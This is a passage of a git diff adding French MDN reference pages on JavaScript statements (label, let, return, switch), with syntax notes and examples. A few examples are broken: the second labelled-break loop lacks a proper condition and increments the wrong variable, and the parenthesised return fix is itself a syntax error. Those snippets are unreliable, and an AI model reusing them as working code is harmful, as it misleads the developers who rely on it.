{{jsxref("Instructions/for_each...in", "for each...in")}} {{deprecated_inline}} {{non-standard_inline}}
+
Cette instruction itère une variable donnée sur toutes les propriétés d'un objet. Pour chaque propriété distincte, une instruction spécifique est exécutée.
+
{{jsxref("Instructions/for...in", "for...in")}}
+
Cette instruction effectue, dans un ordre arbitraire, une boucle sur les propriétés énumérables d'un objet. Pour chacune des différentes propriétés, des instructions peuvent être exécutées.
+
{{jsxref("Instructions/for...of", "for...of")}}
+
Cette instruction parcourt les objets sur lesquels on peut itérer (comme les tableaux, les itérateurs et générateurs). Pour ce faire, elle utilise un mécanisme d'itération sur mesure utilisant des instructions à exécuter pour chacune des différentes propriétés.
+
{{jsxref("Instructions/for-await...of","for await...of")}}
+
Cette instruction parcourt les objets itérables asynchrones tels que les tableaux, les itérateurs et générateurs. Elle utilise un mécanisme d'itération spécifique et des instructions sont exécutées pour la valeur de chaque propriété.
+
{{jsxref("Instructions/while", "while")}}
+
Cette instruction permet de créer une boucle qui s'exécute tant qu'une condition de test est vérifiée. La condition est évaluée avant d'exécuter l'instruction contenue dans la boucle.
+
+ +

Autres

+ +
+
{{jsxref("Instructions/debugger", "debugger")}}
+
Cette instruction appelle une fonctionnalité de débogage. Si aucune fonctionnalité de débogage n'est disponible, l'instruction n'a aucun effet.
+
{{jsxref("Instructions/export", "export")}}
+
Cette instruction permet à un script signé de fournir des propriétés, fonctions et des objets à d'autres scripts (signés ou non).
+
{{jsxref("Instructions/import", "import")}}
+
Cette instruction permet à un script d'importer des propriétés, fonctions ou objets depuis un script qui les exporte.
+
import.meta
+
Une méta propriété qui expose des métadonnées à propos du module JavaScript.
+
{{jsxref("Instructions/label", "label")}}
+
Cette instruction fournit un identifiant auquel il est possible de se référer en utilisant une instruction break ou continue.
+
+ +
+
{{jsxref("Instructions/with", "with")}} {{deprecated_inline}}
+
Cette instruction permet d'étendre la portée chaînée d'une instruction.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES1', '#sec-12', 'Statements')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES3', '#sec-12', 'Statements')}}{{Spec2('ES3')}}
{{SpecName('ES5.1', '#sec-12', 'Statements')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-ecmascript-language-statements-and-declarations', 'ECMAScript Language: Statements and Declarations')}}{{Spec2('ES6')}}Nouveaux éléments : function*, let, for...of, yield, class
{{SpecName('ESDraft', '#sec-ecmascript-language-statements-and-declarations', 'ECMAScript Language: Statements and Declarations')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.statements")}}

+ +

Voir aussi

+ + +
diff --git a/files/fr/web/javascript/reference/statements/label/index.html b/files/fr/web/javascript/reference/statements/label/index.html new file mode 100644 index 0000000000..2b3fb86d46 --- /dev/null +++ b/files/fr/web/javascript/reference/statements/label/index.html @@ -0,0 +1,206 @@ +--- +title: label +slug: Web/JavaScript/Reference/Instructions/label +tags: + - JavaScript + - Reference + - Statement +translation_of: Web/JavaScript/Reference/Statements/label +--- +
{{jsSidebar("Statements")}}
+ +

Une instruction étiquetée (labeled en anglais) peut être utilisée avec les instructions {{jsxref("Instructions/break", "break")}} ou {{jsxref("Instructions/continue", "continue")}}. Un label permet d'identifier une instruction avec un identifiant pour y faire référence plus tard.

+ +
{{EmbedInteractiveExample("pages/js/statement-label.html")}}
+ + + +
+

Note : Les boucles ou les blocs étiquetés sont très rares et on peut généralement utiliser des appels de fonction plutôt que des sauts de boucle.

+
+ +

Syntaxe

+ +
label :
+   instruction
+
+ +
+
label
+
N'importe quel identifiant JavaScript qui n'est pas un mot-clé réservé.
+
instruction
+
Une instruction. break peut être utilisé avec n'importe quelle instruction identifiée. continue ne peut être utilisé qu'avec des instructions de boucle.
+
+ +

Description

+ +

Une étiquette (label) peut être utilisée pour identifier une boucle et pour y faire référence à l'intérieur en utilisant les instructions break ou continue afin d'interrompre cette boucle ou de reprendre son exécution.

+ +

JavaScript ne possède pas d'instruction goto, les étiquettes ne peuvent être utilisées que par les instructions break ou continue.

+ +

En mode strict, on ne peut pas utiliser let comme étiquette, cela lèvera une exception {{jsxref("SyntaxError")}} (let est un identifiant réservé).

+ +

Exemples

+ +

Faire référence à une étiquette avec continue dans une boucle

+ +
var i, j;
+
+boucle1:
+for (i = 0; i < 3; i++) {      //Le premier for correspond à "boucle1"
+   boucle2:
+   for (j = 0; j < 3; j++) {   //Le second for correspond à "boucle2"
+      if (i === 1 && j === 1) {
+         continue boucle1;
+      } else {
+         console.log("i = " + i + ", j = " + j);
+      }
+   }
+}
+
+// On aura les résultats suivants :
+//   "i = 0, j = 0"
+//   "i = 0, j = 1"
+//   "i = 0, j = 2"
+//   "i = 1, j = 0"
+//   "i = 2, j = 0"
+//   "i = 2, j = 1"
+//   "i = 2, j = 2"
+// On voit bien l'absence de "i = 1, j = 1" et "i = 1, j = 2"
+
+ +

Second exemple utilisant continue

+ +

Étant donné un tableau d'élément et un tableau de tests, cet exemple donne le nombre d'éléments qui ont réussi tous les tests.

+ +
var nbItemsReussis = 0;
+var i, j;
+
+top:
+for (i = 0; i < items.length; i++){
+  for (j = 0; j < tests.length; j++){
+    if (!tests[j].reussi(items[i])){
+      continue top;
+    }
+  }
+  nbItemsReussis++;
+}
+ +

Utiliser break avec une étiquette au sein d'une boucle for

+ +
var i, j;
+
+boucle1:
+for (i = 0; i < 3; i++) { // première boucle étiquetée « boucle1 »
+  boucle2:
+  for (j =0; j < 3; j++) { // seconde boucle étiquetée « boucle2 »
+    if (i == 1 && j == 1) {
+      break boucle1;
+    }
+    console.log("i = " + i + ", j = " + j);
+  }
+}
+
+// Ce qui produira en sortie
+// (dans la console)
+// "i = 0, j = 0"
+// "i = 0, j = 1"
+// "i = 0, j = 2"
+// "i = 1, j = 0"
+// Ici on voit la différence avec l'exemple précédent utilisant continue
+
+ +

Second exemple utilisant un label et break

+ +

Étant donné un tableau d'éléments et un tableau de tests, cet exemple permet de déterminer si oui ou non tous les éléments ont réussis tous les tests.

+ +
var toutReussi = true;
+var i, j;
+
+top:
+for (i = 0; items.length; i++)
+  for (j = 0; j < tests.length; i++)
+    if (!tests[j].reusi(items[i])){
+      toutReussi = false;
+      break top;
+    }
+
+ +

Utilise un bloc étiqueté avec break

+ +

On peut utiliser des étiquettes dans des blocs simples mais seul break permettra de faire référence à des étiquettes en dehors d'une boucle.

+ +
toto: {
+  console.log("face");
+  break toto;
+  console.log("this will not be executed");
+}
+console.log("swap");
+
+// On aura alors dans la console :
+
+// "face"
+// "swap
+ +

Déclarations de fonctions étiquetées

+ +

À partir d'ECMAScript 2015, les déclarations de fonctions étiquetées sont standardisées pour du code non-strict au sein de l'annexe de la spécification relative à la compatibilité web.

+ +
L: function F() {}
+ +

En revanche, en mode strict, cela lèvera une exception {{jsxref("SyntaxError")}}:

+ +
"use strict";
+L: function F() {}
+// SyntaxError: functions cannot be labelled
+ +

Les fonctions génératrices ne peuvent pas être étiquetées, en mode strict, comme en mode non-strict :

+ +
L: function* F() {}
+// SyntaxError: generator functions cannot be labelled
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2.
{{SpecName('ES5.1', '#sec-12.12', 'Labelled statement')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-labelled-statements', 'Labelled statement')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-labelled-statements', 'Labelled statement')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.statements.label")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Instructions/break", "break")}}
    • +
  • {{jsxref("Instructions/continue", "continue")}}
    • +
diff --git a/files/fr/web/javascript/reference/statements/let/index.html b/files/fr/web/javascript/reference/statements/let/index.html new file mode 100644 index 0000000000..be39c8ecae --- /dev/null +++ b/files/fr/web/javascript/reference/statements/let/index.html @@ -0,0 +1,371 @@ +--- +title: let +slug: Web/JavaScript/Reference/Instructions/let +tags: + - ECMAScript 2015 + - Instruction + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Statements/let +--- +
{{jsSidebar("Statements")}}
+ +

L'instruction let permet de déclarer une variable dont la portée est celle du bloc courant, éventuellement en initialisant sa valeur.

+ +
{{EmbedInteractiveExample("pages/js/statement-let.html")}}
+ + + +

Syntaxe

+ +
let var1 [= valeur1] [, var2 [= valeur2]] [, ..., varN [= valeurN]];
+ +

Paramètres

+ +
+
var1, var2, …, varN
+
Le nom de la ou des variables. Ces noms doivent être des identifiants JavaScript valides.
+
valeur1, valeur2, …, valeurN{{optional_inline}}
+
Pour chaque variable déclaré, on peut indiquer, de façon optionnelle, sa valeur initiale. Ces valeurs peuvent être n'importe quelle expression légale.
+
+ +

Description

+ +

let permet de déclarer des variables dont la portée est limitée à celle du bloc dans lequel elles sont déclarées. Le mot-clé {{jsxref("Instructions/var","var")}}, quant à lui, permet de définir une variable globale ou locale à une fonction (sans distinction des blocs utilisés dans la fonction).

+ +

Une autre différence entre let et var est la façon dont la variable est initialisée : pour let, la variable est initialisée à l'endroit où le parseur évalue son contenu (cf. ci-après).

+ +

À l'instar de {{jsxref("instructions/const", "const")}}, let ne crée pas de propriété sur l'objet {{domxref("window")}} quand les variables sont déclarées au niveau global.

+ +

L'origine du nom let est décrite dans cette réponse (en anglais).

+ +

Les portées de bloc avec let

+ +

Le mot-clé let permet de définir des variables au sein d'un bloc et des blocs qu'il contient. var permet quant à lui de définir une variable dont la portée est celle de la fonction englobante.

+ +
if (x > y) {
+  let gamma = 12.7 + y;
+  i = gamma * x;
+}
+
+function varTest() {
+  var x = 1;
+  if (true) {
+    var x = 2;  // c'est la même variable !
+    console.log(x);  // 2
+  }
+  console.log(x);  // 2
+}
+
+function letTest() {
+  let x = 1;
+  if (true) {
+    let x = 2;  // c'est une variable différente
+    console.log(x);  // 2
+  }
+  console.log(x);  // 1
+}
+
+ +

Une meilleure lisibilité pour les fonctions internes

+ +

let peut parfois permettre de rendre le code plus lisible lorsqu'on utilise des fonctions internes.

+ +
var list = document.getElementById("list");
+
+for (let i = 1; i <= 5; i++) {
+  var item = document.createElement("li");
+  item.appendChild(document.createTextNode("Élément " + i));
+
+  item.onclick = function (ev) {
+    console.log("Clic sur l'élément " + i + ".");
+  };
+  list.appendChild(item);
+}
+
+// Pour obtenir le même effet avec var
+// il aurait fallu créer un contexte différent
+// avec une fermeture (closure) pour la valeur
+
+for (var i = 1; i <= 5; i++) {
+  var item = document.createElement("li");
+  item.appendChild(document.createTextNode("Item " + i));
+
+  (function(i) {
+    item.onclick = function(ev) {
+      console.log("Item " + i + " a reçu un clic.");
+    };
+  })(i);
+  list.appendChild(item);
+}
+
+ +

Dans l'exemple précédent, cela fonctionne comme on l'attend car les cinq instances de la fonction anonyme sont liées à cinq instances différentes de i. Si on remplace let par {{jsxref("Instructions/var","var")}}, on n'obtiendra pas l'effet escompté car on aura une même variable pour cette portée i=6 (au lieu de 5 différentes).

+ +

Règles de portées

+ +

Les variables déclarées avec let appartiennent à la portée du bloc dans lequel elles sont définies et indirectement aux portées des blocs de ce bloc. D'une certaine façon let fonctionne comme var, la seule différence dans cette analogie est que let fonctionne avec les portées de bloc et var avec les portées des fonctions :

+ +
function varTest() {
+  var x = 31;
+  if (true) {
+    var x = 71;  // c'est la même variable !
+    console.log(x);  // 71
+  }
+  console.log(x);  // 71
+}
+
+function letTest() {
+  let x = 31;
+  if (true) {
+    let x = 71;  // c'est une variable différente
+    console.log(x);  // 71
+  }
+  console.log(x);  // 31
+}
+
+ +

Au niveau le plus haut (la portée globale), let crée une variable globale alors que var ajoute une propriété à l'objet global :

+ +
var x = 'global';
+let y = 'global2';
+console.log(this.x); // "global"
+console.log(this.y); // undefined
+console.log(y);      // "global2"
+
+ +

Émuler le fonctionnement des interfaces privées

+ +

En utilisant l'instruction let avec des constructeurs, on peut créer des interfaces privées sans avoir à utiliser de fermetures :

+ +
var Truc;
+
+{
+  let porteePrivee = new WeakMap();
+  let compteur = 0;
+
+  Truc = function() {
+    this.unePropriete = 'toto';
+
+    porteePrivee.set(this, {
+      cachee: ++compteur,
+    });
+  };
+
+  Truc.prototype.montrerPublique = function() {
+    return this.unePropriete;
+  };
+
+  Truc.prototype.montrerPrivee = function() {
+    return porteePrivee.get(this).cachee;
+  };
+}
+
+console.log(typeof porteePrivee);
+// "undefined"
+
+var truc = new Truc();
+
+console.log(truc);
+// Truc {unePropriete: "toto"}
+
+truc.montrerPublique();
+// "toto"
+
+truc.montrerPrivee();
+// 1
+
+ +

Cette technique permet d'obtenir un état privé « statique ». Ainsi, dans l'exemple qui précède, toutes les instances de Truc partageront la même portéePrivée.
+ Il était possible d'obtenir un tel isolement avec var mais il fallait passer par des fonctions isolées (généralement des fonctions immédiatement appelées (IIFE)).

+ +

Zone morte temporaire (Temporal Dead Zone / TDZ)  et les erreurs liées à let

+ +

Lorsqu'on redéclare une même variable au sein d'une même portée de bloc, cela entraîne une exception {{jsxref("SyntaxError")}}.

+ +
if (x) {
+  let toto;
+  let toto; // SyntaxError
+}
+ +

Avec ECMAScript 2015 (ES6), let remontera (hoisting) la déclaration variable au début de la portée (au début du bloc) mais pas l'initialisation. Si on fait référence à une variable dans un bloc avant la déclaration de celle-ci avec let, cela entraînera une exception {{jsxref("ReferenceError")}}. En effet, la variable est placée dans une « zone morte temporaire » entre le début du bloc et le moment où la déclaration est traitée. Autrement dit, la déclaration est bien remontée mais la variable ne peut pas être utilisée tant que l'affectation (qui n'est pas remontée) n'a pas été effectuée.

+ +
function faire_quelque_chose() {
+  console.log(truc); // undefined
+  console.log(toto); // ReferenceError
+  let toto = 2;
+  var truc = 1;
+}
+ +

Il est possible d'obtenir des erreurs au sein de l'instruction {{jsxref("Instructions/switch")}}. En effet, il y a un seul bloc implicite pour cette instruction.

+ +
switch (x) {
+  case 0:
+    let toto;
+    break;
+
+  case 1:
+    let toto; // SyntaxError for redeclaration.
+    break;
+}
+ +

Par contre, si on ajoute une instruction de bloc dans la clause case, cela créera une nouvelle portée et empêchera l'erreur :

+ +
let x = 1;
+
+switch(x) {
+  case 0: {
+    let toto;
+    break;
+  }
+  case 1: {
+    let toto;
+    break;
+  }
+}
+ +

Autres situations

+ +

Lorsqu'on utilise let dans un bloc, sa portée est limitée à celle du bloc. On notera ici la différence avec var dont la portée est celle de la fonction où il est utilisé.

+ +
var a = 1;
+var b = 2;
+
+if (a === 1) {
+  var a = 11; // la portée est la portée globale
+  let b = 22; // la portée est celle du bloc if
+
+  console.log(a);  // 11
+  console.log(b);  // 22
+}
+
+console.log(a); // 11
+console.log(b); // 2
+
+ +

Cependant, la combinaison utilisée ci-après déclenchera une exception SyntaxError car la déclaration avec var est remontée en haut du bloc et il y a donc une redéclaration implicite de la variable (également utilisée avec let).

+ +
let x = 1;
+
+if (true) {
+  var x = 2; // SyntaxError liée à la redéclaration
+}
+
+ +

La zone morte temporaire et typeof

+ +

Si on utilise typeof sur des variables non déclarées ou qui valent {{jsxref("undefined")}}, on obtiendra la valeur undefined. Mais si on utilise typeof sur une variable au sein de la zone morte temporaire de cette variable, cela déclenchera une {{jsxref("ReferenceError")}} :

+ +
console.log(typeof variableNonDeclaree); // affiche 'undefined'
+
+console.log(typeof i); // ReferenceError
+let i = 10;
+ +

Autre exemple lié à la zone morte temporaire et aux portées lexicales

+ +

Dans l'exemple qui suit, dans l'expression toto + 55, l'identifiant toto fait référence à la variable du bloc courant et non à celle qui est déclarée au dessus et qui a la valeur 33. Dans l'instruction let toto = (toto + 55); l'instruction est bien remontée mais l'endroit où on utilise toto (dans le fragment (toto + 55)) est toujours dans la zone morte temporaire car toto n'a pas encore été affecté.

+ +
function test(){
+  var toto = 33;
+  if (true) {
+    let toto = (toto + 55); // ReferenceError: can't access lexical declaration `toto` before initialization
+  }
+}
+test();
+
+ +

Si on utilise let avec un nom de variable qui est le même que celui de l'argument passé à la fonction, on aura une erreur due à la confusion des portées :

+ +
function go(n) {
+  for (let n of n.a){ // ReferenceError: can't access lexical declaration `n' before initialization
+    console.log(n);
+  }
+}
+go({a:[1, 2, 3]});
+
+ +

Les variables déclarées avec let et les boucles for

+ +

Le mot-clé let permet de lier des variables localement dans la portée des boucles for. Contrairement au mot-clé var qui lui rend les variables visibles depuis l'ensemble de la fonction qui contient la boucle.

+ +
var a = 0;
+for ( let i = a; i < 10; i++ ) {
+  console.log(i);
+}
+
+ +

Règles de portées

+ +
for (let expr1; expr2; expr3) instruction
+ +

Dans cet exemple, expr2, expr3, et instruction sont contenues dans un bloc implicite qui contient la variable de bloc local déclarée avec let expr1.

+ +

Exemples

+ +

let / var

+ +

Lorsqu'il est utilisé dans un bloc, let permet de limiter la portée de la variable à ce bloc. var quant à lui limite la portée de la variable à la fonction.

+ +
var a = 5;
+var b = 10;
+
+if (a === 5) {
+  let a = 4; // La portée est celle du bloc if
+  var b = 1; // La portée est celle interne à la fonction
+
+  console.log(a);  // 4
+  console.log(b);  // 1
+}
+
+console.log(a); // 5
+console.log(b); // 1
+ +

let utilisé dans les boucles

+ +

Le mot-clé let permet de lier des variables à la portée de la boucle plutôt qu'à celle de la fonction (avec var) :

+ +
for (let i = 0; i<10; i++) {
+  console.log(i); // 0, 1, 2, 3, 4 ... 9
+}
+
+console.log(i); // i n'est pas défini
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-let-and-const-declarations', 'Let and Const Declarations')}}{{Spec2('ES2015')}}Définition initiale. Cette définition n'inclue pas les expressions et blocs let.
{{SpecName('ESDraft', '#sec-let-and-const-declarations', 'Let and Const Declarations')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.statements.let")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/statements/return/index.html b/files/fr/web/javascript/reference/statements/return/index.html new file mode 100644 index 0000000000..1972130104 --- /dev/null +++ b/files/fr/web/javascript/reference/statements/return/index.html @@ -0,0 +1,169 @@ +--- +title: return +slug: Web/JavaScript/Reference/Instructions/return +tags: + - JavaScript + - Reference + - Statement +translation_of: Web/JavaScript/Reference/Statements/return +--- +
{{jsSidebar("Statements")}}
+ +

L'instruction return met fin à l'exécution d'une fonction et définit une valeur à renvoyer à la fonction appelante.

+ +
{{EmbedInteractiveExample("pages/js/statement-return.html")}}
+ + + +

Syntaxe

+ +
return [[expression]];
+ +
+
expression
+
L'expression dont on souhaite renvoyer la valeur. Si elle est absente, la valeur renvoyée par défaut sera {{jsxref("undefined")}}.
+
+ +

Description

+ +

Lorsqu'une instruction return est utilisée dans une fonction, l'exécution de la fonction se termine. Si une valeur est fournie, elle sera renvoyée à l'appelant de la fonction. Si l'expression définissant la valeur de retour de la fonction est absente, la valeur undefined sera renvoyée. Par exemple, voici une fonction qui renvoie le carré de son argument x (où x est un nombre) :

+ +
function carre(x) {
+  return x * x;
+}
+var demo = carre(3);
+// demo vaudra alors 9
+
+ +

Les instructions qui suivent causeront chacune l'arrêt de l'exécution d'une fonction :

+ +
return;
+return true;
+return false;
+return x;
+return x + y / 3;
+
+ +

Ajout automatique de point-virgule

+ +

L'instruction return peut être impactée par l'ajout automatique de point-virgule (ASI en anglais). Il est interdit d'avoir un caractère de fin de ligne entre le mot-clé return et l'expression :

+ +
return
+a + b;
+
+
+ +

Après ASI, cela sera transformé en :

+ +
return;
+a + b;
+// Avertissement console : "expression non accessible
+// après une instruction return sans point-virgule"
+
+ +
+

Note : À partir de Gecko 40 {{geckoRelease(40)}}, un avertissement sera affiché dans la console si l'analyse du code trouve une instruction semblable à une expression après une instruction return sans point-virgule. Voir le {{bug(1005110)}} pour plus d'informations.

+
+ +

Pour éviter ce problème et l'insertion automatique, on peut, si besoin, utiliser des parenthèses.

+ +
return (
+  a + b;
+);
+ +

Exemples

+ +

Utiliser return

+ +

La fonction suivante renvoie le carré de son argument :

+ +
function carré(x) {
+   return x * x;
+}
+
+ +

Interrompre une fonction

+ +

Une fonction s'arrête immédiatement à l'instant où l'instruction return est traitée.

+ +
function compteur() {
+  for (var compte = 1; ; compte++) {  // boucle infinie
+    console.log(compte + "A"); // jusqu'à 5
+      if (compte === 5) {
+        return;
+      }
+      console.log(compte + "B");  // jusqu'à 4
+    }
+  console.log(compte + "C");  // cette instruction n'est jamais utilisée
+}
+
+compteur();
+
+// Résultat dans la console :
+// 1A
+// 1B
+// 2A
+// 2B
+// 3A
+// 3B
+// 4A
+// 4B
+// 5A
+
+ +

Renvoyer une fonction

+ +

Pour en savoir plus sur les fermetures (closures), voir cet article sur les fermetures.

+ +
function magique() {
+  return function calc(x) { return x * 42 };
+}
+
+var réponse = magique();
+réponse(1337); // 56154
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-12.9', 'Return statement')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-return-statement', 'Return statement')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-return-statement', 'Return statement')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.statements.return")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/statements/switch/index.html b/files/fr/web/javascript/reference/statements/switch/index.html new file mode 100644 index 0000000000..d3fcc130fa --- /dev/null +++ b/files/fr/web/javascript/reference/statements/switch/index.html @@ -0,0 +1,317 @@ +--- +title: switch +slug: Web/JavaScript/Reference/Instructions/switch +tags: + - Instruction + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Statements/switch +--- +
{{jsSidebar("Statements")}}
+ +

L'instruction switch évalue une expression et, selon le résultat obtenu et le cas associé, exécute les instructions correspondantes.

+ +
{{EmbedInteractiveExample("pages/js/statement-switch.html")}}
+ + + +

Syntaxe

+ +
switch (expression) {
+  case valeur1:
+    // Instructions à exécuter lorsque le résultat
+    // de l'expression correspond à valeur1
+    instructions1;
+    [break;]
+  case valeur2:
+    // Instructions à exécuter lorsque le résultat
+    // de l'expression correspond à valeur2
+    instructions 2;
+    [break;]
+  ...
+  case valeurN:
+    // Instructions à exécuter lorsque le résultat
+    // de l'expression à valeurN
+    instructionsN;
+    [break;]
+  [default:
+    // Instructions à exécuter lorsqu'aucune des valeurs
+    // ne correspond
+    instructions_def;
+    [break;]]
+}
+ +
+
expression
+
Une expression à comparer avec chacune des clause case.
+
case expressionN {{optional_inline}}
+
Une clause qu'on compare avec expression.
+
default {{optional_inline}}
+
Une clause exécutée si aucune correspondance n'est trouvée avec les clause case (et/ou s'il n'y a pas de break pour les clauses case précédentes).
+
instructionsN
+
Les instructions à exécuter lorsque l'expression correspond au cas présenté pour cette clause.
+
instructions_def
+
Les instructions à exécuter si l'expression ne correspond à aucun cas de figure précédemment décrit.
+
+ +

Description

+ +

Une instruction switch commence par évaluer l'expression fournie (cette évaluation ne se produit qu'une fois). Si une correspondance est trouvée, le programme exécutera les instructions associées. Si plusieurs cas de figure correspondent, le premier sera sélectionné (même si les cas sont différents les uns des autres).

+ +

Le programme recherche tout d'abord une clause case dont l'expression est évaluée avec la même valeur que l'expression d'entrée (au sens de {{jsxref("Opérateurs/Opérateurs_de_comparaison","l'égalité stricte","#.C3.89galit.C3.A9_stricte_(.3D.3D.3D)",1)}}. Si une telle clause est trouvée, les instructions associées sont exécutées. Si aucune clause case n'est trouvée, le programme recherche la clause optionnelle default et si elle existe, les instructions correspondantes sont exécutées. Si cette clause optionnelle n'est pas utilisée, le programme continue son exécution après l'instruction switch. Par convention, la clause default est utilisée en dernière mais cela n'est pas nécessaire.

+ +

L'instruction {{jsxref("Instructions/break","break")}} peut optionnellement être utilisée pour chaque cas et permet de s'assurer que seules les instructions associées à ce cas seront exécutées. Si break n'est pas utilisé, le programme continuera son exécution avec les instructions suivantes (des autres cas de l'instruction switch).

+ +

Exemples

+ +

Utiliser switch

+ +

Dans l'exemple suivant, si l'expression expr vaut "Bananes", le programme trouve la correspondance et exécute l'instruction associée. Lorsque l'instruction break est trouvée, le programme « sort » de l'instruction switch et continue l'exécution avec les instructions  suivantes. Si break n'avait pas été utilisé, l'instruction du cas "Cerises" aurait également été exécutée.

+ +
switch (expr) {
+  case "Oranges":
+    console.log("Oranges : 0.59 € le kilo.");
+    break;
+  case "Pommes":
+    console.log("Pommes : 0.32 € le kilo.");
+    break;
+  case "Bananes":
+    console.log("Bananes : 0.48 € le kilo.");
+    break;
+  case "Cerises":
+    console.log("Cerises : 3.00 € le kilo.");
+    break;
+  case "Mangues":
+  case "Papayes":
+    console.log("Mangues et papayes : 2.79 € le kilo.");
+    break;
+  default:
+    console.log("Désolé, nous n'avons plus de " + expr + ".");
+}
+
+console.log("Autre chose ?");
+
+ +

Que se passe-t-il si on oublie un break ?

+ +

Si on omet une instruction break, le script exécutera les instructions pour le cas correspondant et aussi celles pour les cas suivants jusqu'à la fin de l'instruction switch ou jusqu'à une instruction break. Par exemple :

+ +
var toto = 0;
+switch (toto) {
+    case -1:
+        console.log('moins un');
+        break;
+    case 0: // toto vaut 0 donc ce cas correspond
+        console.log(0);
+        // NOTE : le break aurait du être placé ici
+    case 1: // pas de break pour 'case 0:' les instructions de ce cas sont
+            // exécutées aussi
+        console.log(1);
+        break; // on a un break a ce niveau donc les instructions
+               // des cas suivants ne seront pas exécutées
+    case 2:
+        console.log(2);
+        break;
+    default:
+        console.log('default');
+}
+ +

Peut-on intercaler la règle par défaut ?

+ +

Oui, il est possible de placer le cas default entre deux autres cas. Ainsi, si on a une valeur qui ne correspond pas aux différents cas, elle passera par le bloc default puis par les autres s'il n'y a pas de break. Par exemple :

+ +
var toto = 5
+switch (toto) {
+  case 2:
+    console.log(2); // ne sera pas exécuté
+    break;
+  default:
+    console.log("default"); // sera exécuté
+  case 1:
+    console.log("1"); // sera exécuté car il n'y a
+                      // pas de break avant
+}
+// La console affichera "default" puis "1"
+
+ +

Méthodes pour regrouper différents cas

+ +

Pour la source depuis laquelle les exemples suivants ont été adaptés, voir cette question Stack Overflow.

+ +

Regrouper différents cas pour exécuter une unique opération

+ +

Cette méthode utilise le fait que s'il n'y a pas d'instruction {{jsxref("Instructions/break","break")}}, l'exécution se poursuivra avec les instructions des cas suivants (même si les expressions de ces cas ne correspondent pas à la valeur de l'expression d'entrée).

+ +

On peut donc regrouper différentes valeurs les unes à la suite des autres pour exécuter des instructions pour ces valeurs :

+ +
var animal = 'girafe';
+switch (animal) {
+    case 'vache':
+    case 'girafe':
+    case 'chien':
+    case 'cochon':
+        console.log('Cet animal est un mammifère');
+        break;
+    case 'oiseau':
+    default:
+        console.log('Cet animal n\'est pas un mammifère.');
+}
+ +

Chaîner des opérations

+ +

Dans l'exemple qui suit, on illustre comment exécuter une série d'instructions qui varie en fonction du paramètre (ici un entier) fourni. Cela montre que les différents cas sont testés dans l'ordre dans lequel ils sont mis au sein du switch :

+ +
var toto = 1;
+var output = 'Résultat : ';
+switch (toto) {
+    case 0:
+        output += 'Donc ';
+    case 1:
+        output += 'quel ';
+        output += 'est ';
+    case 2:
+        output += 'votre ';
+    case 3:
+        output += 'nom ';
+    case 4:
+        output += '?';
+        console.log(output);
+        break;
+    case 5:
+        output += '!';
+        console.log(output);
+        break;
+    default:
+        console.log('Veuillez choisir un nombre entre 0 et 5 !');
+}
+ +

Selon les valeurs fournies à la variable toto, on aura les résultats suivants :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ValeurTexte
toto vaut {{jsxref("NaN")}} ou est différent de 1, 2, 3, 4, 5 ou 0Veuillez choisir un nombre entre 0 et 5 !
0Résultat : Donc quel est votre nom ?
1Résultat : quel est votre nom ?
2Résultat : votre nom ?
3Résultat : nom ?
4Résultat : ?
5Résultat : !
+ +

switch et les variables avec une portée de bloc

+ +

Avec ECMAScript 2015 (ES6), on peut utiliser les instructions let et const pour déclarer des variables dont la portée sera celle du bloc englobant.

+ +

Prenons cet exemple :

+ +
const action = 'dire_bonjour';
+switch (action) {
+  case 'dire_bonjour':
+    let message = 'bonjour';
+    console.log(message);
+    break;
+  case 'dire_coucou':
+    let message = 'coucou';
+    console.log(message);
+    break;
+  default:
+    console.log('Aucune action reçue.');
+    break;
+}
+ +

Si on exécute cet exemple, on aura l'erreur Uncaught SyntaxError: Identifier 'message' has already been declared qui n'est probablement pas le résultat espéré.

+ +

Cela se produit car la première instruction let message = 'bonjour'; entre en conflit avec let message = 'coucou'; bien qu'elles soient rattachées à deux instructions case distinctes case 'dire_bonjour': et case 'dire_coucou': mais ces deux instructions s'inscrivent dans le même bloc et on a donc message déclaré deux fois dans le même bloc, soit deux fois dans la même portée.

+ +

Pour régler ce problème, il suffit de rajouter des accolades pour définir un bloc d'instructions pour chaque case :

+ +
const action = 'dire_bonjour';
+switch (action) {
+  case 'dire_bonjour': { // accolade ajoutée
+    let message = 'bonjour';
+    console.log(message);
+    break;
+  } // accolade ajoutée
+  case 'dire_coucou': { // accolade ajoutée
+    let message = 'coucou';
+    console.log(message);
+    break;
+  } // accolade ajoutée
+  default: { // accolade ajoutée
+    console.log('Aucune action reçue.');
+    break;
+  } // accolade ajoutée
+}
+ +

Cette nouvelle version, exécutée, produira "bonjour" dans la console, sans causer d'erreur.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
